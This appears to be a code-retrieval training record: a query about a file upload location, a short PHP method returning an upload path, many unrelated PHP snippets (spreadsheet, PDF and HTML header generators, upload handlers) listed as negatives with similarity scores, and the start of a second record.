$activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "function megatron_ubc_clf_header($variables) {\n global $base_path;\n $output = '';\n if (theme_get_setting('clf_faculty')) {\n $output .= '<div id=\"ubc7-unit-name\"><a href=\"' . $base_path . '\"><span id=\"ubc7-unit-faculty\">' . theme_get_setting('clf_faculty_name');\n $output .= '</span><span id=\"ubc7-unit-identifier\">';\n $output .= '' . theme_get_setting('clf_unitname') . '</span></a></div>';\n }\n else {\n $output .= '<div id=\"ubc7-unit-name\" class=\"ubc7-single-element\"><a href=\"/\"><span id=\"ubc7-unit-identifier\">';\n $output .= '' . theme_get_setting('clf_unitname') . '</span></a></div>';\n }\n return $output;\n}", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nWorking with Data in C#\nMAINHEADING;\n }", "function print_header_entries() {\n\n $result = '';\n\n if($entries = $this->get_header_entries()) {\n $result .= '<div class=\"php_report_header_entries\">';\n foreach($entries as $value) {\n\n $label_class = \"php_report_header_{$value->css_identifier} php_report_header_label\";\n $value_class = \"php_report_header_{$value->css_identifier} php_report_header_value\";\n\n $result .= '<div class=\"' . $label_class . '\">' . $value->label . '</div>';\n $result .= '<div class=\"' . $value_class . '\">' . $value->value . '</div>';\n\n }\n $result .= '</div>';\n }\n\n return $result;\n }", "public function createGridDataHorizontalDates()\n {\n $aPeriods = $this->getGridDataPeriods();\n $aLevels = $this->getGridDataLevels();\n if (empty($aPeriods) || empty($aLevels)) {\n $this->aErrors[] = 'No period or level data provided';\n\n return false;\n }\n $aAllPeriodLevels = $this->getAllGridDataPeriodLevels($aPeriods, $aLevels);\n ?>\n <table id=\"dimension_table\" border=\"1\" class=\"dim_table\">\n <tbody><tr><th></th>\n <?php\n foreach ($aPeriods as $nPeriodId => $aPeriod) {\n echo \"<th>{$aPeriod['period_name_x_axis']}</th>\\n\";\n }\n ?>\n </tr></tbody>\n <?php\n foreach ($aLevels as $nLevelId => $aLevel) {\n $nLevelId = $aLevel['id'];\n echo \"<tr>\\n\";\n ?>\n <td>\n <?php\n if (!empty($aLevel['link_exists'])) {\n ?>\n <a class=\"more\" title=\"<?=$aLevel['label']?>\" \n href=\"?year=<?=$aLevel['nYear']?>&amp;level=<?=$aLevel['level']\n ?>&amp;parent_level_id=<?=$aLevel['level_id']?>\"><?=$aLevel['code']?></a>\n <?php\n } else {\n echo $aLevel['code'];\n }\n ?>\n </td>\n <?php\n foreach ($aPeriods as $nPeriodId => $sPeriod) {\n ?>\n <td>\n <?php\n if (!empty($aAllPeriodLevels[$nPeriodId][$nLevelId]['link_exists'])) {\n ?>\n <a class=\"more\" title=\"<?=$aLevel['label']?>\" \n href=\"?year=<?=$aLevel['nYear']?>&amp;period_id=<?=\n $aAllPeriodLevels[$nPeriodId][$nLevelId]['period_id']?>&amp;level=<?=\n $aAllPeriodLevels[$nPeriodId][$nLevelId]['level']?>&amp;parent_level_id=<?=\n $aAllPeriodLevels[$nPeriodId][$nLevelId]['parent_level_id']?>&amp;level_id=<?=\n $aAllPeriodLevels[$nPeriodId][$nLevelId]['level_id']?>\"><?=\n $this->getFormattedAmt($aAllPeriodLevels[$nPeriodId][$nLevelId]['amt'])?></a>\n <?php\n } else {\n echo '0';\n }\n ?>\n </td>\n <?php\n }\n echo \"</tr>\\n\";\n }\n\n echo '</table>';\n }", "function Header()\n\t\t{\n\t\t\t$this->SetFont('Helvetica','B',18);\n\t\t\t$this->SetTextColor(184,10,10);\n\t\t\t$this->Cell(30);\n\t\t\t$this->Cell(120,10,utf8_decode(\"Mensajes Contestados\"),0,0,'C');\n\t\t\t$this->Ln(20);\n\t\t}", "function ods_analyze_data() {\n $results_level1 = array();\n foreach ($this->schema['named-range'] as $range) {\n $range_name = $range['name'];\n switch ($range['level']) {\n case 1:\n if (!empty($this->data[$range_name])) {\n // get all rows elements on this range\n //foreach($this->data[ $range_name ] as $data_level1){\n //row cycle\n $results_level1[$range_name]['rows'] = $this->ods_render_range($range_name, $this->data);\n }\n break;\n }\n }\n if ($results_level1){\n $sheet = $this->dom\n ->getElementsByTagName('table')\n ->item(0);\n \n foreach ($results_level1 as $range_name => $result){\n \n //delete template on the sheet\n $in_range = false;\n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('range_name')\n && $row->getAttribute('range_name') == $range_name\n && $row->hasAttribute('range_start')\n \n ){\n $results_level1[ $range_name ]['start'] = $row;\n $in_range = true;\n }\n \n if ($in_range){\n $row->setAttribute('remove_me_please', 'yes');\n }\n \n if ($row->hasAttribute('range_name')\n \n && $row->hasAttribute('range_end')\n && in_array($range_name, explode(',', $row->getAttribute('range_end')) )\n ){\n $results_level1[ $range_name ]['end'] = $row;\n $in_range = false;\n } \n \n }\n \n //insert data after end \n foreach ( $results_level1[$range_name]['rows'] as $row ){\n $results_level1[ $range_name ]['start']\n ->parentNode\n ->insertBefore($row, $results_level1[ $range_name ]['start']);\n }\n \n }\n \n //clear to_empty rows\n $remove_rows = array();\n \n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('remove_me_please')){\n $remove_rows[] = $row;\n }\n }\n \n foreach ($remove_rows as $row){\n $row->parentNode->removeChild($row);\n }\n \n //after this - rows count is CONSTANT\n if (!empty( $this->hasFormula )){\n $this->ods_recover_formula();\n }\n \n }\n }", "function get_column_headers($screen)\n {\n }", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "public function getTitleSection()\n {\n return $this->getFirstFieldValue('245', ['n', 'p']);\n }", "public function index()\n {\n return view(\"pages.admin.specification.hdr.hdr\",$this->data);\n }", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nUnique to Oracle\nMAINHEADING;\n }", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "function _webform_csv_headers_file($component) {\r\n $header = array();\r\n // Two columns in header.\r\n $header[0] = array('', '');\r\n $header[1] = array($component['name'], '');\r\n $header[2] = array(t('Name'), t('Filesize (KB)'));\r\n return $header;\r\n}", "public function getAdminPanelHeaderData() {}", "function TituloCampos()\n\t{\n\t\t\n\t\t$this->SetFillColor(244,249,255);\n\t\t$this->SetDrawColor(195,212,235);\n\t\t$this->SetLineWidth(.2);\n\t\t//dimenciones de cada campo\n\t\t$w=array(10,20,21,74,25,25,18);\n\t\t$header=array(strtoupper(_('nro')),strtoupper(_('nro abo.')),strtoupper(_('cedula')),strtoupper(_('nombre y apellido')),strtoupper(_('Etiqueta')),strtoupper(_('telefono')),strtoupper(_('deuda')));\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(10);\n\t\tfor($k=0;$k<count($header);$k++)\n\t\t\t$this->Cell($w[$k],7,$header[$k],1,0,'J',1);\n\t\t$this->Ln();\n\t\treturn $w;\n\t}", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "function TablaBasica($div, $nombre) {\n //Salto de l�nea\n $this->Ln(20);\n $this->Cell(5);\n $this->Ln(3);\n $this->SetFont('Arial', 'B', 13);\n $this->Cell(15);\n $this->Cell(0, 0, $div, 0, 1, 'C');\n $this->Ln(5);\n $this->SetFont('Arial', 'B', 8);\n $this->Cell(0, 0, '=================================================================================================', 0, 1, 'C');\n $this->Ln(5);\n $this->Cell(80);\n $this->SetFont('Arial', 'B', 10);\n $this->Cell(1, 0, $nombre, 0, 1, 'C');\n $this->Ln(15);\n\n\n //Cabecera\n //$this->Cell(65,3,\"CARRERA: \".$div.\"\");\n }", "function header (){\n\t\t$this->setfont('Arial','B', 16);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'WANANCHI', 0, 0, 'C');\n\t\t$this->Ln(10);\n\t\t$this->setfont('Arial','',12);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'INFORMATION',0, 0, 'C');\n\t\t$this->Ln(30);\n\t}", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "static function generateTableHeaderHTML($a_div)\n\t{\n\t\techo \"<tr class='inTableRow'>\\n\";\n//\t\techo \"<th class='inTableColTaskID'>Task ID</th>\\n\";\n\t\techo \"<th class='inTableColTaskName'>{$a_div}</th>\\n\";\n\t\techo \"<th>Subcontractor</th>\\n\";\n\t\techo \"<th class='chTableColAmount'>Amount</th>\\n\";\n\t\techo \"<th>Notes</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "private function render_data()\n\t{\n\t\t// create if the headers exists\n\t\t// 2 header style table\n\t\tif(count($this->headers) == 2 && isset($this->headers[0][0]) && isset($this->headers[1][0]) )\n\t\t{\n\t\t\t// generate the column headers\n\t\t\t$html = '<tr><th></th>';\n\t\t\tforeach($this->headers[0] as $header)\n\t\t\t\t$html .= \"<th>$header</th>\";\n\t\t\t$html .= '</tr>';\n\t\t\t\n\t\t\t// generate the row headers and the data\n\t\t\tfor($i=0; $i<count($this->headers[1]); $i++)\n\t\t\t{\n\t\t\t\t// the header\n\t\t\t\t$html .= \"<tr><th>{$this->headers[1][$i]}</th>\";\n\t\t\t\t\n\t\t\t\t// and now the data\n\t\t\t\tforeach($this->data[$i] as $datum)\n\t\t\t\t\t$html .= \"<td>$datum</td>\";\n\t\t\t\t\n\t\t\t\t$html .= '</tr>';\n\t\t\t}\n\t\t\treturn $html;\n\t\t}//end if\n\t\t\n\t\t// 1 header style table\n\t\tif(count($this->headers) > 0 && isset($this->headers[0]) && !is_array($this->headers[0]) )\n\t\t{\n\t\t\t// generate the column headers\n\t\t\t$html = '<tr>';\n\t\t\tforeach($this->headers as $header)\n\t\t\t\t$html .= \"<th>$header</th>\";\n\t\t\t$html .= '</tr>';\n\t\t\t\n\t\t\t// generate the data\n\t\t\tfor($i=0; $i<count($this->data); $i++)\n\t\t\t{\n\t\t\t\tforeach($this->data[$i] as $datum)\n\t\t\t\t\t$html .= \"<td>$datum</td>\";\n\t\t\t\t\n\t\t\t\t$html .= '</tr>';\n\t\t\t}\n\t\t\t\n\t\t\treturn $html;\n\t\t}//end if\n\t\t\n\t\treturn '';\n\t}", "public function getPageHeading($array) {\n\t\t$html ='\n\t\t<div class=\"row\">\n\t\t\t<div class=\"small-12 medium-12 large-12 columns\">\n\t\t\t\t<div class=\"small-12 medium-9 large-9 columns\">\n\t\t\t\t\t<h2> '.$array['page_title'].' </h2>\n\t\t\t\t</div>';\n\t\t\tif ($array['side_title']) {\n\t\t\t\t$html .='\n\t\t\t\t<div class=\"small-12 medium-3 large-3 columns\">\n\t\t\t\t\t<h6 class=\"subtitle\">'.$array['side_title'].'</h6>\n\t\t\t\t</div>';\n\t\t\t}\n\t\t\t$html .='\n\t\t\t</div>\n\t\t</div>';\n\n\t\treturn $html;\n\t}", "function headings() {\r\n\t\t// and that they receive anchors so that they may be linked to from the table of contents.\r\n\t\t//ReTidy::force_headings();\r\n\t\tReTidy::heading_anchors();\r\n\t}", "function heading( $data = '', $h = '1', $attributes = '' )\n\t{\n\t\treturn '<h' . $h . _stringify_attributes( $attributes ) . '>' . $data . '</h' . $h . '>';\n\t}", "public function excel_report_sectionmngr($grp)\n\t{\n\t\t$this->data['fields'] = $this->reports_personnel_schedule_model->crystal_report_working_schedule_attendance();\n\t\t$this->data['grp'] = $grp;\n\t\t$this->load->view('employee_portal/report_personnel/schedule/excel_report_sectionmngr',$this->data);\t\t\n\t}", "public function mombo_main_headings_color() {\n \n \n }", "public function makeExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-tpl.xls');\n\n\t\t$baseRow = 11; // base row in template file\n\t\t\n\t\tforeach($data as $r => $dataRow) {\n\t\t\t$row = $baseRow + ($r+1);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->insertNewRowBefore($row,1);\n\t\t\t\n\t\t\tif (!empty($dataRow)){\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, ucfirst($dataRow['zone']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row, ucfirst($dataRow['village']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('C'.$row, ucfirst($dataRow['prod_name']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('D'.$row, $dataRow['unit_measure']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('E'.$row, $dataRow['quantity']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('F'.$row, ucfirst($dataRow['quality']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('G'.$row, $dataRow['price']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('H'.$row,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t ucfirst($dataRow['contact_fname']).' '.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t ucfirst($dataRow['contact_lname']).' '.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t 'TEL: ' . $dataRow['contact_tel']);\n\t\t\t}\n\t\t}\n\t\t$objPHPExcel->getActiveSheet()->removeRow($baseRow-1,1);\n\t\t\n\t\t// fill data area with white color\n\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->getStyle('A'.$baseRow .':'.'H'.$row)\n\t\t\t\t\t->getFill()\n\t\t\t\t\t->applyFromArray(\n \t\t\t\t\t\t\t array(\n \t\t \t\t 'type' \t=> PHPExcel_Style_Fill::FILL_SOLID,\n \t\t\t\t\t\t 'startcolor' \t=> array('rgb' => 'FFFFFF'),\n \t\t\t\t \t 'endcolor' \t=> array('rgb' => 'FFFFFF')\n \t\t\t\t\t ));\n\t\t\n\t\t$comNo = $dataRow['com_number'];\n\t\t$deliveryDate = date('d-m-Y', strtotime($dataRow['ts_date_delivered']));\n\t\t\n\t\t$ComTitle = \"INFORMATION SUR LES PRODUITS FORESTIERS NON LIGNEUX DU \" .\n\t\t \"CERCLE DE TOMINIAN No: $comNo Du $deliveryDate\";\n\t\t\n\t\t$titleRow = $baseRow-1;\n\t\t// create new row\n\t\t$objPHPExcel->getActiveSheet()->insertNewRowBefore($titleRow,1);\n\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->mergeCells('A'.$titleRow. ':'.'H'.$titleRow)\n\t\t\t\t\t->setCellValue('A'.$titleRow, $ComTitle)\n\t\t\t\t\t->getStyle('A'.$titleRow)->getFont()\n\t\t\t\t\t->setBold(true)\n\t\t\t\t\t->setSize(13)\n\t\t\t\t\t->setColor(new PHPExcel_Style_Color());\n\t\t\t\t\t\n\t//\t$objPHPExcel->getActiveSheet()->getRowDimension('A'.$titleRow)->setRowHeight(10);\n\t\t\t\t\t\n\t\t$title = 'ComNo'.$comNo;\n\t\t// set title of sheet\n\t\t$objPHPExcel->getActiveSheet()->setTitle($title);\n\n\t\t// Redirect output to a client’s web browser (Excel5)\n\t\theader('Content-Type: application/vnd.ms-excel');\n\t\theader('Content-Disposition: attachment;filename=\"communique.xls\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\t$objWriter->save('php://output');\n\t\texit;\n\t}" ]
[ "0.7024699", "0.66909885", "0.65311974", "0.6504777", "0.64395255", "0.6393865", "0.6365853", "0.6355127", "0.63068336", "0.62575036", "0.62144405", "0.61481595", "0.6130105", "0.61216646", "0.61150825", "0.60844964", "0.6052677", "0.59199935", "0.58829445", "0.58115923", "0.5793676", "0.57361287", "0.57197654", "0.5713879", "0.56846714", "0.56591135", "0.5643219", "0.5638102", "0.5615526", "0.5602818", "0.5599434", "0.5594247", "0.55805", "0.55769855", "0.5556896", "0.5553174", "0.55202997", "0.5508603", "0.5501076", "0.5469028", "0.54358435", "0.54339117", "0.5424749", "0.5413627", "0.5398375", "0.5384756", "0.53681266", "0.53637785", "0.5361148", "0.53552294", "0.5323187", "0.5312637", "0.5301076", "0.5296133", "0.5291961", "0.52875155", "0.52874637", "0.5283862", "0.52804893", "0.5275754", "0.52722573", "0.5269233", "0.52645016", "0.522998", "0.52205944", "0.52184844", "0.5209626", "0.52083784", "0.51996446", "0.5199026", "0.5189173", "0.51848847", "0.51769596", "0.516946", "0.51683664", "0.51649934", "0.5163181", "0.51603067", "0.5159392", "0.5150469", "0.514524", "0.5143892", "0.5142789", "0.5142183", "0.5134559", "0.51345545", "0.5122821", "0.5120437", "0.5113729", "0.5112355", "0.5099998", "0.5099424", "0.50822824", "0.5073364", "0.5064159", "0.50510395", "0.5046974", "0.50437814", "0.5039464", "0.5033104" ]
0.73289746
0
TODO more imports File upload location
public static function wdtFileUploadLocation() { return '/public/excels/wdt/'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function uploadPath();", "public function upload();", "public function getRelativeUploadPath(): string;", "function ft_hook_upload($dir, $file) {}", "public function upload()\n\t{\n\t}", "abstract protected function getUploadDir(): string;", "function upload_file() {\n upload_file_to_temp();\n }", "public function upload()\n {\n }", "protected function getUploadPath()\n {\n return 'uploads/achtergrondfotos';\n }", "public function step_2_manage_upload()\n {\n }", "abstract protected function doUpload();", "protected function getUploadDir()\n {\n return 'upload/files';\n }", "public function handle_upload()\n {\n }", "protected function getUploadDir() {\r\n return 'uploads/documents';\r\n }", "protected function getFullPathToUploadFile()\n {\n return $this->fullPathToUploadFile;\n }", "public function getUploadPath()\n\t{\n\t\t// return Yii::app()->params->upload.'/';\n\t\treturn Yii::app()->config->fixedValues['upload_path'];\n\t}", "protected function getUploadDir() {\n return '/uploads';\n }", "public function uploadFile(){\n\n if (!$this->request->is('post'))\n {\n $this->setErrorMessage('Post method required');\n return;\n }\n\n if (!isset($this->request->data['currentPath']) ||\n !isset($this->request->params['form']) ||\n !isset($this->request->params['form']['idia'])\n ){\n $this->setErrorMessage('Invalid parameters');\n return;\n }\n\n $path = ltrim(trim($this->request->data['currentPath']), DS);\n $tokens = explode(DS, strtolower($path));\n\n ($tokens[0] == 'root') && ($tokens = array_slice($tokens, 1, null, true));\n\n $path = implode(DS, $tokens);\n $fullPath = WWW_FILE_ROOT . strtolower($path);\n\n if(!is_dir($fullPath)){\n $this->setErrorMessage('Invalid path');\n return;\n }\n\n if(is_file($fullPath . DS . strtolower($this->request->params['form']['idia']['name']))){\n $this->setErrorMessage('File with similar name already exist');\n return;\n }\n\n $newFile = new File($fullPath . DS . strtolower($this->request->params['form']['idia']['name']), true );\n $newFile->close();\n\n $tempFile = new File(($this->request->params['form']['idia']['tmp_name']));\n $tempFile->copy($fullPath . DS .$this->request->params['form']['idia']['name']);\n $tempFile->delete();\n\n $this->set(array(\n 'status' => 'ok',\n \"message\" => 'successful',\n \"_serialize\" => array(\"message\", \"status\")\n ));\n }", "public function getUploadPath()\n {\n return Yii::$app->params['upload_dir'] . DIRECTORY_SEPARATOR . $this->path;\n }", "function upload_handler( $file ) {\n\t\t$this->add_ping( 'uploads', array( 'upload' => str_replace( $this->resolve_upload_path(), '', $file['file'] ) ) );\n\t\treturn $file;\n\t}", "public static function getUploadPath()\n {\n return '';\n }", "public function get_uploaded_file_url()\n {\n return App::getBaseURL() . $this->uploaded_file_path;\n }", "function uploadFiles () {\n\n}", "function media_upload_file()\n {\n }", "protected function _FILES()\n\t{\n\t\t\n\t}", "public function getUploadDir()\n {\n return 'uploads/fanart';\n }", "public function getFileUploadLocation()\n {\n $config = $this->getServiceLocator()->get('config');\n return $config['module_config']['upload_location'];\n }", "protected function getUploadDir() {\n // when displaying uploaded doc/image in the view.\n return 'uploads/';\n }", "public function getUploadRootDir(){\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "public function getUploadDir(){\n return dirname(_FILE_). \"/img/\";\n }", "public function upload()\n {\n App::import('Lib', 'Uploads.file_receiver/FileReceiver');\n App::import('Lib', 'Uploads.file_dispatcher/FileDispatcher');\n App::import('Lib', 'Uploads.file_binder/FileBinder');\n App::import('Lib', 'Uploads.UploadedFile');\n\n $this->cleanParams();\n $Receiver = new FileReceiver($this->params['url']['extensions'], $this->params['url']['limit']);\n $Dispatcher = new FileDispatcher(\n Configure::read('Uploads.base'),\n Configure::read('Uploads.private')\n );\n $Binder = new FileBinder($Dispatcher, $this->params['url']);\n try {\n $File = $Receiver->save(Configure::read('Uploads.tmp'));\n $Binder->bind($File);\n $this->set('response', $File->getResponse());\n file_put_contents(LOGS.'mh-uploads.log', date('Y-m-d H:i > ').'Uploaded '.$File->getName().chr(10), FILE_APPEND);\n } catch (RuntimeException $e) {\n file_put_contents(LOGS.'mh-uploads.log', date('Y-m-d H:i > ').$e->getMessage().chr(10), FILE_APPEND);\n $this->set('response', $this->failedResponse($e));\n }\n $this->layout = 'ajax';\n $this->RequestHandler->respondAs('js');\n }", "public function get_full_uploaded_file_path()\n {\n return $this->full_uploaded_file_path;\n }", "protected function getUploadDir()\n {\n return 'uploads/serie';\n }", "public function dz_files()\n {\n if (!empty($_FILES) && $_FILES['file']) {\n $file = $_FILES['file'];\n\n\n foreach ($file['error'] as $key=>$error) {\n $uploadfile = sys_get_temp_dir().basename($file['name']['key']);\n move_uploaded_file($file['tmp_name'],$uploadfile);\n\n }\n }\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $filename = substr( md5(rand()), 0, 15).'.'.$this->getFile()->guessExtension();\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "protected function getUploadDir()\n {\n return 'uploads/products';\n }", "protected function getUploadDir()\n {\n return 'uploads';\n }", "protected function getUploadDir()\r\n\t{\r\n\t\treturn 'uploads/documents';\r\n\t}", "public function upload()\n {\n // The file property can be empty if the field is not required\n if (null === $this->file) {\n return;\n }\n\n // Use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getUploadRootDir(),\n $this->path\n );\n\n // Set the path property to the filename where you've saved the file\n $this->path = $this->file->getClientOriginalName();\n\n // Clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function getUploadUrl()\n {\n \treturn $this->getForm()->getUploadUrl();\n }", "public function upload()\n {\n if (null === $this->file) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getUploadRootDir(),\n $this->id . '.' .$this->ext\n );\n\n // set the ext property to the filename where you've saved the file\n //$this->ext = $this->file->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $filename = substr( md5(rand()), 0, 15).'.'.$this->getFile()->guessExtension();\n // move takes the target directory and then the\n // target filename to move 